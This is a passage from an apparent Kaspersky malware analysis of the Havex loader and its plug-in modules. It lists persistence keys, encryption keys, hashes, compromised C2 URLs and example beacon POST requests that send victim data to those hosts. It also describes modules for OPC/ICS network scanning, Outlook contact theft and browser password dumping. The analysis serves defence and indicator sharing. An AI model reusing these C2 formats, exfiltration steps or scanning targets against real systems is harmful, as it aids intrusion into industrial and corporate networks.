AAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAAA AAAAAAAAAAAAAAAQAB.2.25.26.5265882854508EFCF958F979E4.600000.2000.323000. Base64 encrypted string MTMxMjMxMg== ( 1312312 after decoding) is used as a XOR key. TLP: Green For any inquire please contact intelreports@kaspersky.com Code flow DLLMain Decrypt and load resource, copy config data from resource to memory Create main thread in suspended mode and thread that constantly checks some bool - if it s set, main thread is resumed When the RunDllEntry export is called, the bool is set to 1 and the main thread is resumed RunDllEntry Create a window and trigger resuming of the main thread Create file and writes there the version number: %TEMP%\qln.dbx Create keys/values: [HKLM|HKCU]\Software\Microsoft\Internet Explorer\InternetRegistry] fertger = (bot_id) bot_id = random number based on CoCreateGuid(), some calculations and some memory address; examples: 001: 4288595270379021982301EAFED001 002: 1607204568126732018801F2FED002 00F: 93249038331471783200C2FED00F 012: 22561320586441617865023EFED0 013: 2627437901628051734800C2FED0 014: 1578266759509151668900DEFED0 017: 251262960942470194870241FED0 018: 1564893130116282046100B9FED0 019: 1578266759509151668900DEFED0 01A: 160720456812673201880242FE8C-1 01B: 1607204568126732018800C2FE04-1 01C: 24893503947647170630246FE04-3 01D: 2627437901628051734800C2FE04-2 01B: 1663328815238791903001EBFE04-1 029: 1842673533224541887800BEFD88-3x1 030: 3787916004501911680200BEFD88-3x1 TLP: Green For any inquire please contact intelreports@kaspersky.com 030: 309276719429789193750028F978-3x1 037: 24645644821769317791009AFD80-20 037: 30816051733388016549009AFD80-1 037: 6036449321755718127009AFD80-13 038: 301542815316517628009AFD80-25 038: 3126127065975717600009AFD80-25 038: 28805135293025919409009AFDA8-25 043: 18145851232284217441009AFD80-c8a7af419640516616c342b13efab 044: 292219215960920240009AFD80-6d3aef9f2cf3ca9273631663f484a 044: 2860397951987017001009AFD80-4b3c3453bdebb602642d18274c239 Copy self to %SYSTEM%\TMPprovider038.dll in case of failure, it tries to write to %APPDATA% or %TEMP% Create run entry: [HKLM|HKCU]\Software\Microsoft\Windows\CurrentVersion\Run] TMP provider = rundll32 \TMPprovider038.dll, RunDllEntry Create named pipe: \\.\pipe\mypipe-h038 In loop, create remote thread of explorer.exe which does: LoadLibrary(\TMPprovider038.dll) Look for all %TEMP%\*.xmd files, read their paths and the contents Get the base64 encrypted key from config and decode it Get the content of *.xmd file and decode (base64), decrypt (using keys from config and binary) and decompress (bzip2), once decrypted and decompressed, the content of each *.xmd file is saved as DLL and loaded to the memory Check for some base64 encoded data string in: [HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\Options] b = Find *.yls file, read content and (optionally) add it to the POST request Create POST request string: id=&v1=&v2=&q= Example: id=28805135293025919409009AFDA8-25&v1=038&v2=170393861&q=5265882854508EFCF958F979E4 Try to connect to compromised websites (C2 servers) and send POST request with the following parameters: id=&v1=&v2=&q= Example request: TLP: Green For any inquire please contact intelreports@kaspersky.com dreamsblock.com (ekiaiokqmo.c08.mtsvc.net, 205.186.179.176) POST /witadmin/modules/source.php?id=28805135293025919409009AFDA8-25&v1=038&v2=17039 3861&q=5265882854508EFCF958F979E4 Read the HTML file returned by the server, look for havex markers and copy data from between them Write the data to: %TEMP%\.tmp.xmd Decrypt/decompress content of xmd file to %TEMP%\.dll Load the DLL At the moment of analysis, URLs from config were not returning any data: stalprof.com.ua/includes/domit/src.php (server39.hosting.reg.ru, 37.140.193.27) zhayvoronok.com/wp-includes/pomo/idx.php (78.63.99.143) dreamsblock.com/witadmin/modules/source.php No data!0. Encryption The 2nd stage modules are usually base64 encoded, bzip2 compressed and XORed using the recurrent 1312312 key. In some cases, the malware can also use one 1024 bit RSA key which is embedded in the config section of the binary. Key from resource/config: Base64 encoded: AATXn+MiwLu+xCoMG7SqY1uQxAk1qLdyoED9LxIVQr2Z/gsrHIsgTvK9AusdFo+9fzAxf1zXj42880+kUmktmVb 5HSYi8T27Q54eQ4ZLUFKPKZstgHcwPVHGdwpmmRmk09fL3KGd9SqR60Mv7QtJ4VwGDqrzOja+Ml4SI7e60C4qDQ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAB TLP: Green For any inquire please contact intelreports@kaspersky.com Decoded RSA 1024 bit key: 0000000: 0004 d79f e322 c0bb bec4 2a0c 1bb4 aa63 ..... ....*....c 0000010: 5b90 c409 35a8 b772 a040 fd2f 1215 42bd [...5..r.@./..B. 0000020: 99fe 0b2b 1c8b 204e f2bd 02eb 1d16 8fbd ...+.. N........ 0000030: 7f30 317f 5cd7 8f8d bcf3 4fa4 5269 2d99 .01.\.....O.Ri-. 0000040: 56f9 1d26 22f1 3dbb 439e 1e43 864b 5052 V..& .=.C..C.KPR 0000050: 8f29 9b2d 8077 303d 51c6 770a 6699 19a4 .).-.w0=Q.w.f... 0000060: d3d7 cbdc a19d f52a 91eb 432f ed0b 49e1 .......*..C/..I. 0000070: 5c06 0eaa f33a 36be 325e 1223 b7ba d02e \....:6.2^.#.... 0000080: 2a0d Key hardcoded in binary: Base64 encoded: w1RWs6ejexm8wgqEpulkkESs9xmLQoiY8j/ldzNJ/fPj9t+taxYg6Vo0WgP0u0Me82TuCMxmU+Pcj44c8zP5xOe v4F097r5+saRutxj/Lmnr2AIgDqfM14GNHBQxmRQ3v0Swz6A+5zaMIqQX/13dWF1seQtKysvPQmIoPjvy648= Decoded: 0000000: c354 56b3 a7a3 7b19 bcc2 0a84 a6e9 6490 .TV...{.......d. 0000010: 44ac f719 8b42 8898 f23f e577 3349 fdf3 D....B...?.w3I.. 0000020: e3f6 dfad 6b16 20e9 5a34 5a03 f4bb 431e ....k. .Z4Z...C. 0000030: f364 ee08 cc66 53e3 dc8f 8e1c f333 f9c4 .d...fS......3.. 0000040: e7af e05d 3dee be7e b1a4 6eb7 18ff 2e69 ...]=..~..n....i 0000050: ebd8 0220 0ea7 ccd7 818d 1c14 3199 1437 ... ........1..7 0000060: bf44 b0cf a03e e736 8c22 a417 ff5d dd58 .D...>.6. ...].X 0000070: 5d6c 790b 4aca cbcf 4262 283e 3bf2 eb8f ]ly.J...Bb(>;... TLP: Green For any inquire please contact intelreports@kaspersky.com Analysis of other versions of the HAVEX loader IMPORTANT: For versions 03-0E, 010, 011, 015, 016, 023, 026-028, 02A-02F, and 031-036 no samples are known at the moment. Differences between versions It seems there are over 50 different versions of Havex malware, internally identified by hex numbers from 01 to 044 (the latest known at the time of writing). Versions 01 019: Contain strings that may be related to password harvesting, even though the code that would actually search for the passwords was not identified inside this component. It possible that these strings are part of the configuration and are used by downloaded modules as a list of names of processes that the malware wants to hijack in order to steal passwords from the memory. Versions 017 037: Instead of the GET request, send a POST request to the C2. The contents of the POST differ between versions. Versions 01A 038: Check proxy settings in the registry and use them if required. Versions 01B 044: Use an asymmetric crypto algorithm (RSA) to decrypt the downloaded binaries. (Previous versions use simple XOR based encryption). Versions 020 025: Check the Internet connection by trying to connect to google.com: CONNECT google.com:80 HTTP/1.0 Collect system information, write it to *.yls file. Later, append these contents to the POST request string. Collected information includes: Unique system ID Username Computer name Country Language Current IP List of drives Default Browser TLP: Green For any inquire please contact intelreports@kaspersky.com Running Processes Proxy Setting User Agent Email Name BIOS version and date Lists of files and folders (non-recursive) from the following paths: C:\Documents and Settings\%User%\Desktop\*.* C:\Documents and Settings\%User%\My Documents\*.* C:\Documents and Settings\%User%\My Documents\Downloads\*.* C:\Documents and Settings\%User%\My Documents\My Music\*.* C:\Documents and Settings\%User%\My Documents\My Pictures\*.* C:\Program Files\*.* Root directory of all fixed and removable drives. Version 025: Contains a debugging symbols path, which may suggest that the project was internally called PhalangX d:\Workspace\PhalangX 3D\Src\Build\Release\Phalanx-3d.ServerAgent.pdb Version 038 040: Does not contain the routine that collects system info, yet the malware checks for potential previously created *.yls files, and appends the content of them to the POST request. Instead of values hardcoded in the binary, this is a first version to use a resource to store encrypted config. Detailed analysis of this version is included in this appendix. Version 043 044: Size similar to 037 and earlier versions; dll name is now 0XX.dll (where XX is version number), the value in config is now 29 bytes long. Features common across multiple versions EXPORTS: RunDllEntry, runDll (all versions) INJECT TO: Explorer.EXE (all versions) REG VALUES CREATED: [HKLM|HKCU]\Software\Microsoft\Windows\CurrentVersion\Run TMP provider rundll32 %TEMP%\TMPprovider0XX.dll, runDll [HKLM|HKCU]\Software\Microsoft\Internet Explorer\InternetRegistry fertger = (all versions) TLP: Green For any inquire please contact intelreports@kaspersky.com FILES CREATED: \TMPprovider0XX.dll (versions <= 040) %TEMP%\*.xmd (all versions) %TEMP%\*.yls (ver 01A - 044) %TEMP%\qln.dbx (ver 038 - 044) PIPES: \\.\pipe\mypype-f0XX (ver 01 - 025) \\.\pipe\mypype-g0X (ver 01 & 02) \\.\pipe\mypipe-f0XX (ver 029 - 038) \\.\pipe\mypipe-h0XX (ver 029 - 038) STRINGS: (all versions) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.36 Safari/525.19 (ver 01 - 030) havex 1312312 (ver 0F, 012, 014, 018) Phalanx-3d.Agent.dll (ver 01A - 038) User Password BUTTON (ver 01B - 030) AATXn+MiwLu+xCoMG7SqY1uQxAk1qLdyoED9LxIVQr2Z/gsrHIsgTvK9AusdFo+9fzAxf1zXj42880+kUmktmVb 5HSYi8T27Q54eQ4ZLUFKPKZstgHcwPVHGdwpmmRmk09fL3KGd9SqR60Mv7QtJ4VwGDqrzOja+Ml4SI7e60C4qDQ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAB (ver 029 - 038) w1RWs6ejexm8wgqEpulkkESs9xmLQoiY8j/ldzNJ/fPj9t+taxYg6Vo0WgP0u0Me82TuCMxmU+Pcj44c8zP5xOe v4F097r5+saRutxj/Lmnr2AIgDqfM14GNHBQxmRQ3v0Swz6A+5zaMIqQX/13dWF1seQtKysvPQmIoPjvy648= (ver 020 - 025) 2003 Vista UserName ComputerName TLP: Green For any inquire please contact intelreports@kaspersky.com Control Panel\International\ sCountry Country sLanguage Language Control Panel\International\Geo\ Nation Not connected Dial-up LAN Connection InetInfo CurrentIP - Removable - Fixed - Remote - CDROM - Ramdisk Drive http\shell\open\command .exe DefaultBrowser ListProcess data64 HARDWARE\DESCRIPTION\System BiosReg Desktop MyDocs ProgFiles CONNECT google.com:80 HTTP/1.0 Proxy-Authorization:Basic google.com GET / HTTP/1.1 Host: google.com (ver 025) Phalanx-3d.ServerAgent.dll d:\Workspace\PhalangX 3D\Src\Build\Release\Phalanx-3d.ServerAgent.pdb (ver 029 & 030) 5265882854508EFCF958F979E4 (ver 024, 029 - 038) &v1= TLP: Green For any inquire please contact intelreports@kaspersky.com &v2= (ver 037 & 038) MTMxMjMxMg== (ver 038 - 044) 21f34 (ver 043 - 044) 04X.dll (instead of TmpPorvider0XX.dll) C2 communication Versions < 01B: GET request format: id=- Example id=1812102418169072044901A0FED0014-170393861 Versions 01B - 025: GET request format: Example: id=--- id=228711719898841835201A0FDC0-3-021-170393861 Versions 029 - 044: POST request format: id=-&v1=&v2=& q= Examples: id=28805135293025919409009AFDA8-25&v1=038& v2=170393861&q=5265882854508EFCF958F979E4 id=21893020302943319666009AFD80-6d3aef9f2cf3ca9273631663f484a&v 1=044&v2=170393861&q=35a37eab60b51a9ce61411a760075 Examples of values: version 01B version 01C version 01D 1, 2 version 01E version 01F 1, 2, 3, 0 version 020 3, , 0 version 021 3, version 022 3, , 12 version 024 13, 16, 1, 31, 61, 3, 3x1, 4, 12 version 025 x1, TLP: Green For any inquire please contact intelreports@kaspersky.com version 029 version 030 version 031 1, 3 ver 031,035,036 1, 6, 13, 33, 20, 25, 3x1 version 037 version 038 25, 20, 1, 13,891062d5c51294011447f8168 bc4437c version 040: eb383a9a8e7a4ef5283f2f48a5cd6 version 043: e4d935d271cfb6927d29c74c39558 c8a7af419640516616c342b13efab version 044: 6d3aef9f2cf3ca9273631663f484a Downloadable modules Main characteristics: DLL files that collect assorted information Downloaded by the main Havex module Stored in %TEMP%\*xmd files in an encrypted form Decrypted and executed by Havex loader Each module contains config stored as a resource Config data is compressed with bzip2 and xored with a constant value 1312312, which is hardcoded in the binary in base64 form Config data includes 29-byte UID, 344-byte encryption key and sometimes some other info (like nk2 file path in case of outlook module) Most of them write harvested data into the %TEMP%\*.yls files, which are then sent to the C2 by the main Havex DLL Data written to *.yls files is compressed with bzip2 and encrypted with the key from the config Encryption used for log encryption is 3DES. Each analyzed module contains the string: Copyright (c) J.S.A.Kapp 1994 - 1996. which is related to R_STDLIB.C file (platform-specific C library routines for RSAEURO crypto library) OPC modules SHA-256: Size: Compiled: 7933809aecb1a9d2110a6fd8a18009f2d9c58b3c7dbda770251096d4fcc18849 251392 Fri, 11 Apr 2014 05:39:10 UTC SHA-256: 004c99be0c355e1265b783aae557c198bcc92ee84ed49df70db927a726c842f3 TLP: Green For any inquire please contact intelreports@kaspersky.com Size: Compiled: 251392 Fri, 16 May 2014 08:42:28 UTC SHA-256: Size: Compiled: 6aca45bb78452cd78386b8fa78dbdf2dda7fba6cc06482251e2a6820849c9e82 251392 Fri, 16 May 2014 08:42:28 UTC Detailed analysis All currently known samples are completely identical in terms of code and differ only in the content of the resource. Code flow: Decrypt config Config consists of RSA ID (29 bytes) and RSA key (1024 bit) and is stored inside resource TYU 0215 (bzip compressed and xored with 1312312 39ee448cf196304cfe9c6b1c2e436 AATFfxXmUZl/j8JBAwHkk8BcwTIKDcex+0GQp/V9EX4nt64NGsGsTXFhuorwjKCRt6Av3v+hB+gT9mAP9kqY 3TnN1x+MUHaoib1dw8SG9mW5YL+JNu3Kwud/bYGu916U/EGh8PFGruVE2PHXD8EII710gKm00lyi5+Ehjn5C SLLPKwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAQAB Create lock file in %TEMP%\{rand}.tmp (empty) Create debug log in %TEMP%\{rand}.tmp.dat Programm was started at %02i:%02i:%02i %02i:%02i:%02i.%04i: ************************************************************************** Start finging of LAN hosts... Finding was fault. Unexpective error Was found %i hosts in LAN: Hosts was t found. Start finging of OPC Servers... Was found %i OPC Servers. %i) [\] TLP: Green For any inquire please contact intelreports@kaspersky.com CLSID: UserType: VerIndProgID: OPC version support: <[+|-][+|-][+|-]> OPC Servers not found. Programm finished Thread %02i return error code: Start finging of OPC Tags... %i)[%s\%s] Saved in OPCServer%02i.txt %i)[%s] (not aviable) Thread %02i was terminated by ThreadManager(2) Thread %02i running... Thread %02i finished. Look for LAN resources using Windows Networking COM objects: WNetOpenEnumW WNetEnumResource For each resource found, create a thread which checks if it s an OPC server & gets detailed OPC information using the following interfaces: IID_IOPCEnumGUID {55C382C8-21C7-4E88-96C1-BECFB1E3F483} IID_IOPCServerList {13486D51-4821-11D2-A494-3CB306C10000} IID_IOPCServerList2 {9DD0B56C-AD9E-43ee-8305-487F3188BF7A} IID_IOPCServer {39C13A4D-011E-11D0-9675-0020AFD8ADB3} IID_IOPCBrowse {39227004-A18F-4B57-8B0A-5235670F4468} IID_IOPCBrowseServerAddressSpace {39C13A4F-011E-11D0-9675-0020AFD8ADB3} IID_IOPCItemProperties {39C13A72-011E-11D0-9675-0020AFD8ADB3} CATID_OPCDAServer10 {63D5F430-CFE4-11D1-B2C8-0060083BA1FB} CATID_OPCDAServer20 {63D5F432-CFE4-11D1-B2C8-0060083BA1FB} CATID_OPCDAServer30 {CC603642-66D7-48F1-B69A-B625E73652D7} and writes collected info to the OPCServer.txt file: <%s> (Type=%i, Access=%i, ID= OPC Server[%s\%s] v%i.%i(b%i) Server state: %i Group count value: %i Server band width: %08x TLP: Green For any inquire please contact intelreports@kaspersky.com Compress all info with bzip2 and encrypt using a random 192 bit (168 effective) 3DES key Save encrypted data to %TEMP%\{rand}.yls file *.yls files are then collected by the main Havex module and sent to C2. Outlook module SHA-256: Size: Compiled: 0859cb511a12f285063ffa8cb2a5f9b0b3c6364f8192589a7247533fda7a878e 261120 Wed, 07 May 2014 13:22:21 UTC This module looks for outlook.nk2 files, gets the contact data from inside them and writes it to the *.yls file. Data is as always bzip2 compressed and 3DES encrypted. Config is stored in the resource HYT 017D (bzip2 compressed and encrypted with same xor key as always). Config consists of an RSA key ID (29 bytes), base 64 bit encodedRSA key (1024 bit) and nk2 file path (39 bytes). outlook.nk2 is the file where Outlook <= 2007 stores contacts details in order to use them in its AutoComplete feature. Config from resource HYT 017D: 3e5bad153e3c3ee1b735f1926ba57 AATiBnMKBUxUwXUCXp4+ztY4nCTylL6KRsk6x44SgKDDNdQ9VB7UC86fQVLZOjpc2bdgFxi5tegJEE3SfZvQYJ1 PQ0s1zXh4xdXQxyEqllgGdaAcEOoM3dXCkQatFFYQ8pscbFkdLDrt/sWnbUTq2/KY8eCfW2QPhWgj7p8v6Cov1Q AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAB %APPDATA%\microsoft\outlook\outlook.nk2 Sysinfo module SHA-256: Size: Compiled: f4bfca326d32ce9be509325947c7eaa4fb90a5f81b5abd7c1c76aabb1b48be22 400896 Wed, 07 May 2014 13:19:41 UTC This module collects the same type of information about the system as Havex versions 020 - 025. This functionality is not present in versions >=026 - it was probably moved into this separate module around that time. TLP: Green For any inquire please contact intelreports@kaspersky.com Config in stored in resource WRT 2AF (xored with 1312312 and bzip2 compressed) 8900adffc5180c10d463530e3753a AASjl8ZrgVvtb1XSXJgu6x1ZPjY32KQ9iyj+cQZpJgp/H+GhPdItvu10pBcgwIkc2uO2iYSJzXqfZAlS2fS9+W9 y1Xq/7lKuVJEeQC4vgn8EsTmzj4vLWV+oZOOJHrrv37YkXO6QGnFgREyLTLjnfnrTaoWg9pd6dkeC4yHEC7K8HQ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAB Network scanner module SHA-256: Size: Compiled: 2120c3a30870921ab5e03146a1a1a865dd24a2b5e6f0138bf9f2ebf02d490850 223232 Tue, 29 Oct 2013 06:09:14 UTC This module is used to decrypt and execute the binary that comes in the resource. The EXE file is saved in %TEMP%\.exe and run using ShellExecuteExW. Besides the binary, resource HAJ 3A0 contains hex string: 30 0A 30 0A 34 38 36 34 30 0A 3rd stage tool: network scanner SHA-256: Size: Compiled: 9a2a8cb8a0f4c29a7c2c63ee58e55aada0a3895382abe7470de4822a4d868ee6 48640 Wed, 06 Nov 2013 11:27:38 UTC This PE EXE file was dropped and run by EXE dropper module (2120c3a30870921ab5e0314 6a1a1a865dd24a2b5e6f0138bf9f2ebf02d490850). Its main functionality is to scan the local network looking for machines listening on specified ports. All information is logged into a %TEMP%\~tracedscn.yls file in plain text. List of port numbers hardcoded in the binary: .data:0040CDB0 port_list dd 0AF12h ; port 44818, used by Rslinx dd 1F6h ; port 502, used by Modbus / Modicon PLC dd 66h ; port 102, used by Siemens PLC dd 2BE2h TLP: Green ; port 11234, used by Measuresoft ScadaPro For any inquire please contact intelreports@kaspersky.com dd 3071h ; port 12401, used by 7-Technologies IGSS SCADA Example content of log file: [!]Start [+]Get WSADATA [+]Local: 192.168.56.11 No available ports Host: 192.168.56.1 No available ports Host: 192.168.56.51 No available ports Host: 192.168.56.151 No available ports Host: 192.168.56.201 No available ports Host: 192.168.56.101 No available ports Host: 192.168.56.2 No available ports Host: 192.168.56.152 No available ports Host: 192.168.56.52 (...) Error related strings: [-]Can not get local ip [-]Threads number > Hosts number [-]Can not create socket: [-]Connection error [!]End PSW dropper module SHA-256: size: compiled: 71e05babc107f5e52f1a4c3ea6261c472d2649c0b179395304c420eaa54e2062 1427968 Mon, 09 Jul 2012 07:38:11 UTC This module is used to decompress (bzip2) and drop a password dumping tool from resource DLL1 A8 409 to %TEMP%\bp.exe and run it with the following command: %TEMP%\bp.exe %TEMP%\~tmp1237.txt Saved log is then copied to %TEMP%\.tmp.yls file. 3rd stage tool: password stealer SHA-256: size: TLP: Green cb5341eac0476a4c2b64a5fe6b8eb8c5b01b4de747524208c303aba6825aef1d 2988544 For any inquire please contact intelreports@kaspersky.com compiled: Thu, 02 Feb 2012 09:50:29 UTC This file was dropped and executed by the PSW dropper module (71e05babc107f5e52f1a4c3ea6261 c472d2649c0b179395304c420eaa54e2062). This is a customized (?) version of BrowserPasswordDecryptor 2.0 - a free password recovery tool, developed by SecurityXploded: hxxp://securityxploded.com/browser-password-decryptor.php Description from the developers website: Browser Password Decryptor is the FREE software to instantly recover website login passwords stored by popular web browsers. Currently it can recover saved login passwords from following browsers: Firefox Internet Explorer Google Chrome Google Chrome Canary/SXS CoolNovo Browser Opera Browser Apple Safari Comodo Dragon Browser SeaMonkey Browser SRWare Iron Browser Flock Browser Features: Instantly decrypt and recover stored encrypted passwords from popular web browsers. Right Click Context Menu to quickly copy the password Recover password of any length and complexity. Automatically discovers all supported Applications and recovers all the stored passwords. Sort feature to arrange the recovered passwords in various order to make it easier to search through s of entries. Save the recovered password list to HTML/XML/Text/CSV file Easier and faster to use with its enhanced user friendly GUI interface. Support for local Installation and uninstallation of the software. Example of file content: TLP: Green For any inquire please contact intelreports@kaspersky.com ************************************************* Browser Password Recovery Report ************************************************* Password List *********************************************************************************** Browser: Firefox Website URL: https://accounts.google.com User Login: mygmail Password: gmailpassword -----------------------------------------------------------------------------------Browser: Firefox Website URL: https://www.facebook.com User Login: myfacebook@example.com Password: ihatefacebooksomuch -----------------------------------------------------------------------------------Browser: Opera Website URL: https://twitter.com User Login: mytwitter321 Password: mypassword123 -----------------------------------------------------------------------------------Browser: Opera Website URL: https://login.yahoo.com User Login: yahaccount Password: yahpwd ------------------------------------------------------------------------------------ ____________________________________________________________________________________ Produced by BrowserPasswordDecryptor from http://securityxploded.com/browser-passworddecryptor.php Log Encryption In Modules Each module is capable of creating a log file (.yls) which is encrypted and stored on disk. The encryption library used by the modules (as well as the most recent versions of Havex) is handled by TLP: Green For any inquire please contact intelreports@kaspersky.com the RSAeuro library. They recompiled the library several times using different compiler settings and optimization (depending of modules/Havex) which makes fingerprinting the functions a bit tedious. Once the log has been compressed using bzip2, the modules use the library to generate a random 192 bit 3DES key (168 bit effective) and a 64 bit Initialization Vector. The function used to do so is R_GenerateBytes which is using the MD5 algorithm previously seeded by the R_RandomCreate function (Also using MD5): Once the key and the IV have been generated, the 3DES algorithm is initialized: TLP: Green For any inquire please contact intelreports@kaspersky.com Once 3DES is initialized, the next step is to RSA encrypt the 3DES KEY using the RSAPublicEncrypt function. It is essentially creating the PKCS #1 padding block around the key and then calling the rsapublicencrypt function. Example of a layout where 0x42 is the PKCS#1 padding block and 0x41 the 3DES key (original values overwritten for clarification purpose): The rsapublicencrypt is basically a wrapper to various big num functions used to compute RSA: TLP: Green For any inquire please contact intelreports@kaspersky.com N parameter in one sample: The E parameter is the standard 0x10001 After the 3DES key is encrypted using RSA, the log files are encrypted. The final encrypted log file layout looks like the following: (important parameters overwritten for clarity): The YLS file format can be described as follows: SIZE OF RSA Identifier: 0x29 in the figure above RSA ID: 39ee448cf196304cfe9c6b1c2e436 . (Used by attackers to identify which RSA key was used to encrypt the 3DES Key. BLOCKSIZE: 128 bytes (24 bytes from 3DES key and 104 from PKCS padding block) ENCRYPTED 3DES KEY : In yellow on the figure above, replaced by 3DES Initialization Vector: In red on the figure above, replaced by . Mandatory to decrypt logs. 3DES ENCRYPTED LOG bytes TLP: Green For any inquire please contact intelreports@kaspersky.com Only the attackers can decrypt such a log file. They can identify which Public RSA Key was used from the identifier, and decrypt the 3DES key using their Private RSA Key. From there, they can use the 3DES Key and the Initialization Vector which is present in clear form to decrypt the log file. TLP: Green For any inquire please contact intelreports@kaspersky.com Havex sample details by version HAVEX version 01 SHA-256: 170e5eb004357dfce6b41de8637e1dbeb87fa58e8b54a2031aac33afb930f3c8 Size: 226304 Compiled: Wed, 28 Sep 2011 07:36:00 UTC C2 urls: onemillionfiles.com/server_package/system/application/controllers/list.php?id= www.autoyoung.com/system/ext/Smarty/plugins/function.search.php?id= HAVEX version 02 SHA-256: Size: Compiled: b647f883911ff20f776e0a42564b13ef961fa584ebd5cfce9dd2990bca5df24e 226304 Wed, 28 Sep 2011 02:15:23 UTC SHA-256: Size: Compiled: fb30c3bb1b25b3d4cca975f2e0c45b95f3eb57a765267271a9689dd526658b43 226304 Wed, 28 Sep 2011 04:09:41 UTC SHA-256: Size: Compiled: 6606dd9a5d5182280c12d009a03b8ed6179872fcb08be9aa16f098250cc5b7a7 226304 Wed, 28 Sep 2011 07:37:30 UTC C2 URLs: (common for all samples above) onemillionfiles.com/server_package/system/application/controllers/list.php?id= www.autoyoung.com/system/ext/Smarty/plugins/function.search.php?id= HAVEX version 0F SHA-256: Size: Compiled: 7c1136d6f5b10c22698f7e049dbc493be6e0ce03316a86c422ca9b670cb133aa 401456 Thu, 27 Oct 2011 07:32:55 UTC SHA-256: Size: Compiled: SHA-256: Size: 4ff5f102f0f1284a189485fc4c387c977dd92f0bc6a30c4d837e864aed257129 400384 Thu, 27 Oct 2011 07:32:55 UTC bacac71fcc61db9b55234d1ccf45d5fffd9392c430cdd25ee7a5cea4b24c7128 401527 TLP: Green For any inquire please contact intelreports@kaspersky.com Compiled: Thu, 27 Oct 2011 07:32:55 UTC C2 URLs: atampy.com/wordpress/wp-includes/pomo/dx.php?id= www.intellbet.com/_lib/db_simple/Mysqli.php?id= www.activateav.com/wp-includes/pomo/dx.php?id= HAVEX version 012 SHA-256: Size: Compiled: 0c20ffcdf2492ccad2e53777a0885c579811f91c05d076ff160684082681fe68 400384 Thu, 27 Oct 2011 11:38:42 UTC SHA-256: Size: Compiled: 31db22caf480c471205a7608545370c1b3c0c9be5285a9ef2264e856052b66b4 401519 Thu, 27 Oct 2011 11:38:42 UTC SHA-256: Size: Compiled: 56a1513bcf959d5df3ff01476ddb4b158ce533658ab7d8dd439324b16f193ac2 401519 Thu, 27 Oct 2011 12:02:20 UTC C2 URLs: atampy.com/wordpress/wp-includes/pomo/dx.php?id= www.intellbet.com/_lib/db_simple/Mysqli.php?id= www.activateav.com/wp-includes/pomo/dx.php?id= HAVEX version 013 SHA-256: 9517a412633b8ebeac875a2da7fe119b72efad62859dc1719b84d561792a9033 Size: 401519 Compiled: Thu, 27 Oct 2011 11:41:14 UTC C2 URLs: atampy.com/wordpress/wp-includes/pomo/dx.php?id= www.intellbet.com/_lib/db_simple/Mysqli.php?id= www.activateav.com/wp-includes/pomo/dx.php?id= HAVEX version 014 SHA-256: Size: Compiled: SHA-256: Size: TLP: Green 02e5191078497be1e6ea8bac93b6cfb9b3ee36a58e4f7dd343ac1762e7f9301e 402543 Mon, 07 Nov 2011 09:40:37 UTC d755904743d48c31bdff791bfa440e79cfe1c3fc9458eb708cf8bb78f117dd07 401408 For any inquire please contact intelreports@kaspersky.com Compiled: Mon, 07 Nov 2011 09:40:37 UTC SHA-256: Size: Compiled: 65a4332dfe474a8bb9b5fa35495aade453da7a03eb0049211e57b5660d08d75c 401408 Mon, 07 Nov 2011 09:40:37 UTC SHA-256: Size: Compiled: 60f86898506f0fdf6d997f31deff5b6200a6969b457511cc00446bd22dd1f0a4 401408 Mon, 07 Nov 2011 09:40:37 UTC C2 URLs: 7adharat.com/forum/includes/search/index_search.php?id= wmr.ueuo.com/advertisers/TEMP/dbaza.php?id= www.insigmaus.com/wp-includes/pomo/dx.php?id= www.soluciones4web.com/wp-includes/pomo/dx.php?id= HAVEX version 017 SHA-256: bcdcb4b5e9aaaee2c46d5b0ed16aca629de9faa5e787c672191e0bdf64619a95 Size: 401968 Compiled: Fri, 02 Dec 2011 14:07:10 UTC C2 URLs: hq.mission1701.com/include/plugins/search.php?id= iclt.am/style/default/search.php?id= joomware.org/modules/mod_search/search.php?id= SHA-256: Size: Compiled: ee53e509d0f2a3c888232f2232b603463b421b9c08fe7f44ed4eead0643135d3 399494 Fri, 02 Dec 2011 14:14:05 UTC SHA-256: Size: Compiled: 646c94a0194ca70fbe68c444a0c9b444e195280f9a0d19f12393421311653552 398532 Fri, 02 Dec 2011 14:14:05 UTC C2 URLs: nsourcer.com/modules/menu/menu.php?id= www.onehellofaride.com/wp-includes/pomo/dsx.php?id= tripstoasia.com/wp-content/plugins/idx.php?id= SHA-256: Size: Compiled: TLP: Green 2efd5355651db8e07613e74b1bf85b50273c1f3bce5e4edbedea0ccdff023754 400434 Sat, 03 Dec 2011 05:47:06 UTC For any inquire please contact 